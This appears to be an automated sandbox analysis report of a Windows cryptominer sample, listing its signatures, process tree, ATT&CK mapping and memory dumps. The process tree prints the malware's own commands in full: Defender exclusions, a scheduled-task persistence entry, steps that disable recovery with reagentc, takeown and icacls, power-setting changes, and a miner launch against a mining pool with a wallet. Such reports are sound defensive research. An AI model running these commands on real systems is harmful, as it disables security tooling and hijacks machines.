Analysis
- max time kernel
150s - max time network
153s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
14/10/2026, 04:09
General
- Target 2026-10-13_dc967566528cf6878489088d428a122c_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
- Size 394KB
- Sample261014-eqxsqsysfs
- SHA256 a7d1411afbc4c214e255d6bf2f3773df1bc5b80cabd64303c884cc5700a2588b
Malware Config
Signatures
- Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Looks for VirtualBox Guest Additions in registry 2 TTPs 3 IoCs
- XMRig Miner payload 12 IoCs
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Looks for VMWare Tools registry key 2 TTPs 3 IoCs
- Possible privilege escalation attempt 3 IoCs
- Executes dropped EXE 3 IoCs
- Modifies file permissions 1 TTPs 3 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
- Looks up external IP address via web service 1 TTPs 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Power Settings 1 TTPs 7 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
- Drops file in System32 directory 3 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Drops file in Windows directory 5 IoCs
- Executes a command shell one-liner 1 TTPs 5 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Runs ping.exe 1 TTPs 1 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 36 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 22 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-10-13_dc967566528cf6878489088d428a122c_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe"C:\Users\Admin\AppData\Local\Temp\2026-10-13_dc967566528cf6878489088d428a122c_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe"1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionProcess 'powershell.exe'"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'; Add-MpPreference -ExclusionPath 'C:\'"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionProcess 'WinTemp-v4.exe'; Add-MpPreference -ExclusionProcess 'Win-v42.exe'; Add-MpPreference -ExclusionProcess 'Win-v43.exe'"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Create /TN "v4" /TR "C:\Windows\System32\Win-v42.exe" /SC ONLOGON /RL HIGHEST /F2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C reagentc /disable2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\ReAgentc.exereagentc /disable3⤵
- Drops file in System32 directory
- Drops file in Windows directory
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C takeown /F "%SystemRoot%\System32\reagentc.exe"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\takeown.exetakeown /F "C:\Windows\System32\reagentc.exe"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /grant Administrators:F2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\reagentc.exe" /grant Administrators:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /deny Everyone:RX2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\reagentc.exe" /deny Everyone:RX3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\SYSTEM32\powercfg.exepowercfg /change monitor-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\SYSTEM32\powercfg.exepowercfg /change monitor-timeout-dc 02⤵
- Power Settings
-
-
C:\Windows\SYSTEM32\powercfg.exepowercfg /change standby-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\SYSTEM32\powercfg.exepowercfg /change standby-timeout-dc 02⤵
- Power Settings
-
-
C:\Windows\SYSTEM32\powercfg.exepowercfg /change hibernate-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\SYSTEM32\powercfg.exepowercfg /change hibernate-timeout-dc 02⤵
- Power Settings
-
-
C:\Windows\SYSTEM32\powercfg.exepowercfg /hibernate off2⤵
- Power Settings
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c ping -n 1 -w 1000 8.8.8.8 > nul2⤵
- Executes a command shell one-liner
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\PING.EXEping -n 1 -w 1000 8.8.8.83⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe --algo rx/0 --url 77.73.20.192:3333 --user 439RTMrajyhLb4cLK4YDejMx4rp8b5VDR4YX4auqWGbgUBj1c4wVbvc69bVUmJuJ8rXWwCU7LAGL9MkFaMwDwXjo6FrM5Y3/x -p x -k --cpu-max-threads-hint=902⤵
- Badlisted process makes network request
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of FindShellTrayWindow
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC1⤵
-
C:\Windows\System32\Win-v42.exeC:\Windows\System32\Win-v42.exe1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exeC:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Power Settings
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
File and Directory Permissions Modification
2Windows File and Directory Permissions Modification
1Modify Registry
1Virtualization/Sandbox Evasion
2Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_bu2yom2n.1we.psm1
Win-v42.exe
memory/2860-35-0x00007FFDC2EF0000-0x00007FFDC3894000-memory.dmp
memory/2860-42-0x00007FFDC2EF0000-0x00007FFDC3894000-memory.dmp
memory/2860-38-0x00007FFDC2EF0000-0x00007FFDC3894000-memory.dmp
memory/2860-37-0x00007FFDC2EF0000-0x00007FFDC3894000-memory.dmp
memory/2860-36-0x00007FFDC2EF0000-0x00007FFDC3894000-memory.dmp
memory/2860-24-0x00007FFDC2EF0000-0x00007FFDC3894000-memory.dmp
memory/2860-34-0x00007FFDC2EF0000-0x00007FFDC3894000-memory.dmp
memory/2860-41-0x000001D1FA3A0000-0x000001D1FA452000-memory.dmp
memory/2860-33-0x00007FFDC2EF0000-0x00007FFDC3894000-memory.dmp
memory/2860-32-0x00007FFDC2EF0000-0x00007FFDC3894000-memory.dmp
memory/2860-31-0x00007FFDC2EF0000-0x00007FFDC3894000-memory.dmp
memory/2860-44-0x00007FFDC2EF0000-0x00007FFDC3894000-memory.dmp
memory/2860-30-0x00007FFDC2EF0000-0x00007FFDC3894000-memory.dmp
memory/2860-28-0x00007FFDC2EF0000-0x00007FFDC3894000-memory.dmp
memory/2860-25-0x00007FFDC2EF0000-0x00007FFDC3894000-memory.dmp
memory/3432-16-0x000002A45A2B0000-0x000002A45A2BA000-memory.dmp
memory/3432-6-0x00007FFDC2EF0000-0x00007FFDC3894000-memory.dmp
memory/3432-21-0x00007FFDC2EF0000-0x00007FFDC3894000-memory.dmp
memory/3432-20-0x00007FFDC2EF0000-0x00007FFDC3894000-memory.dmp
memory/3432-19-0x00007FFDC2EF0000-0x00007FFDC3894000-memory.dmp
memory/3432-18-0x00007FFDC2EF0000-0x00007FFDC3894000-memory.dmp
memory/3432-17-0x00007FFDC2EF0000-0x00007FFDC3894000-memory.dmp
memory/3432-0-0x00007FFDC307F000-0x00007FFDC3080000-memory.dmp
memory/3432-13-0x000002A45A4F0000-0x000002A45A5A2000-memory.dmp
memory/3432-15-0x00007FFDC2EF0000-0x00007FFDC3894000-memory.dmp
memory/3432-14-0x00007FFDC2EF0000-0x00007FFDC3894000-memory.dmp
memory/3432-12-0x000002A45A4D0000-0x000002A45A4EE000-memory.dmp
memory/3432-9-0x00007FFDC2EF0000-0x00007FFDC3894000-memory.dmp
memory/3432-8-0x00007FFDC2EF0000-0x00007FFDC3894000-memory.dmp
memory/3432-7-0x00007FFDC2EF0000-0x00007FFDC3894000-memory.dmp
memory/3432-23-0x00007FFDC2EF0000-0x00007FFDC3894000-memory.dmp
memory/3432-5-0x00007FFDC2EF0000-0x00007FFDC3894000-memory.dmp
memory/3432-3-0x000002A45A1F0000-0x000002A45A212000-memory.dmp
memory/3432-4-0x00007FFDC2EF0000-0x00007FFDC3894000-memory.dmp
memory/6028-83-0x00007FF7C5980000-0x00007FF7C6243000-memory.dmp
memory/6028-78-0x00007FF7C5980000-0x00007FF7C6243000-memory.dmp
memory/6028-79-0x00007FF7C5980000-0x00007FF7C6243000-memory.dmp
memory/6028-80-0x00007FF7C5980000-0x00007FF7C6243000-memory.dmp
memory/6028-81-0x00007FF7C5980000-0x00007FF7C6243000-memory.dmp
memory/6028-82-0x00007FF7C5980000-0x00007FF7C6243000-memory.dmp
memory/6028-77-0x000001B54FF40000-0x000001B54FF60000-memory.dmp
memory/6028-84-0x00007FF7C5980000-0x00007FF7C6243000-memory.dmp
memory/6028-85-0x00007FF7C5980000-0x00007FF7C6243000-memory.dmp
memory/6028-86-0x00007FF7C5980000-0x00007FF7C6243000-memory.dmp
memory/6028-87-0x00007FF7C5980000-0x00007FF7C6243000-memory.dmp
memory/6028-88-0x00007FF7C5980000-0x00007FF7C6243000-memory.dmp
memory/6028-89-0x00007FF7C5980000-0x00007FF7C6243000-memory.dmp